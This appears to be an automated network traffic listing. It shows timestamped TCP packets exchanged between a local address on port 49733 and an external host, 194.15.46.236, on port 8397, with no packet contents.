Nov 24, 2024 12:10:09.833246946 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.834336996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.834352970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.834400892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.835553885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.835664988 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.835719109 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.836783886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.836898088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.836955070 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.838095903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.838144064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.838200092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.839288950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.839423895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.839473963 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.840533972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.840637922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.840689898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.841804028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.841911077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.841963053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.843039989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.843153954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.843213081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.844310999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.844444036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.844494104 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.845547915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.845870972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.845922947 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.846802950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.846919060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.846967936 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.848088980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.848180056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.848227024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.849298954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.849416971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.849489927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.850596905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.850707054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.850764036 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.851823092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.851936102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.852003098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.853085995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.853189945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.853297949 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.854346037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.854453087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.854501009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.855676889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.905798912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.000663042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.000715971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.000865936 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.001111031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.001231909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.001287937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.002401114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.002512932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.002590895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.003617048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.003730059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.003783941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.004852057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.004993916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.005072117 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.006222963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.006340981 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.006396055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.007386923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.007494926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.007550001 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.008621931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.008683920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.008737087 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.009902954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.010016918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.010092020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.011142969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.011251926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.011338949 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.012382030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.012494087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.012672901 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.013705015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.013889074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.013948917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.014923096 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.015115023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.015173912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.016184092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.016294003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.016391039 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.017431974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.017551899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.017611027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.018704891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.018832922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.018891096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.019937038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.020036936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.020095110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.021174908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.021317005 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.021374941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.022438049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.022572041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.022624016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.023689985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.023833036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.023891926 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.024954081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.025106907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.025161028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.026177883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.026298046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.026355028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.027463913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.027571917 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.027625084 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.028714895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.028837919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.028888941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.030158997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.030307055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.030359030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.031193972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.031306028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.031368971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.032433987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.032538891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.032598019 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.033709049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.033734083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.033792019 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.034975052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.035109997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.035167933 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.036286116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.036359072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.036417961 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.037513018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.037655115 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.037713051 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.038734913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.038897991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.038958073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.039988995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.040096998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.040157080 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.041233063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.041332960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.041398048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.042474985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.042606115 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.042694092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.043729067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.043904066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.043965101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.044980049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.045104980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.045162916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.046245098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.046379089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.046439886 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.047487020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.047633886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.047712088 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.048724890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.048851013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.048909903 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.050100088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.050209045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.050270081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.051296949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.051379919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.051440001 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.052535057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.052660942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.052717924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.053781986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.053894043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.053949118 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.055003881 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.055116892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.055172920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.056411028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.056467056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.056520939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.057591915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.057780027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.057837009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.058779955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.058885098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.058939934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.060148001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.060266972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.060333967 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.061294079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.061410904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.061466932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.062557936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.062685013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.062738895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.063810110 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.063941956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.063992977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.065277100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.065432072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.065516949 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.066294909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.108903885 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.212332964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.212429047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.212479115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.212836027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.212981939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.213022947 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.214087963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.214206934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.214266062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.215356112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.215454102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.215490103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.216741085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.216829062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.216871977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.218564987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.218753099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.218787909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.219587088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.219662905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.219700098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.220596075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.220606089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.220640898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.221626043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.221765041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.221800089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.222870111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.222984076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.223018885 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.224117041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.224215984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.224251986 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.225440979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.225569963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.225608110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.226670980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.226742029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.226778030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.227924109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.227998018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.228035927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.229182959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.229311943 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.229347944 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.230393887 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.230504990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.230542898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.231688976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.231894970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.231950045 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.232952118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.233028889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.233088017 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.234210968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.234304905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.234350920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.235428095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.235574961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.235621929 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.236783028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.236974001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.237018108 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.237946033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.238162041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.238204956 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.239200115 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.239279985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.239329100 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.240516901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.240569115 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.240622997 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.241658926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.241785049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.241838932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.242939949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.243052006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.243105888 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.244184971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.244308949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.244358063 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.245462894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.245578051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.245625973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.246778965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.246876955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.246929884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.247945070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.248059034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.248106956 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.249213934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.249231100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.249283075 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.250494957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.250652075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.250713110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.251718044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.251832962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.251880884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.252985954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.253094912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.253146887 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.254225016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.254331112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.254384995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.255486012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.255606890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.255662918 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.256767988 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.256896973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.256949902 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.257987976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.258093119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.258148909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.259243965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.259362936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.259418964 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.260494947 CET	8397	49733	194.15.46.236	192.168.2.4
